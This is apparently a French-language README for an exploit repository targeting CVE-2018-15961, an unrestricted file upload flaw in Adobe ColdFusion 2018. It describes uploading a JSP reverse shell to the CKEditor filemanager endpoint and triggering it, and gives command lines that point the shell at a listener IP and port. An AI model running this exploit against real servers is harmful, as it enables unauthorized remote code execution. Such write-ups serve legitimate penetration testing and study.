xbufu/cve-2018-15961Exploit pour CVE-2018-15961, une vulnérabilité de téléchargement de fichiers sans restriction dans Adobe ColdFusion 2018 menant à une RCE.
Ce dépôt contient mon code d'exploitation pour la vulnérabilité RCE dans Adobe ColdFusion 2018.
L'exploit envoie une requête POST contenant un reverse shell JSP vers /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. En cas de succès, cela téléverse le shell vers /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. Le code déclenche ensuite le shell en envoyant une simple requête GET.
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp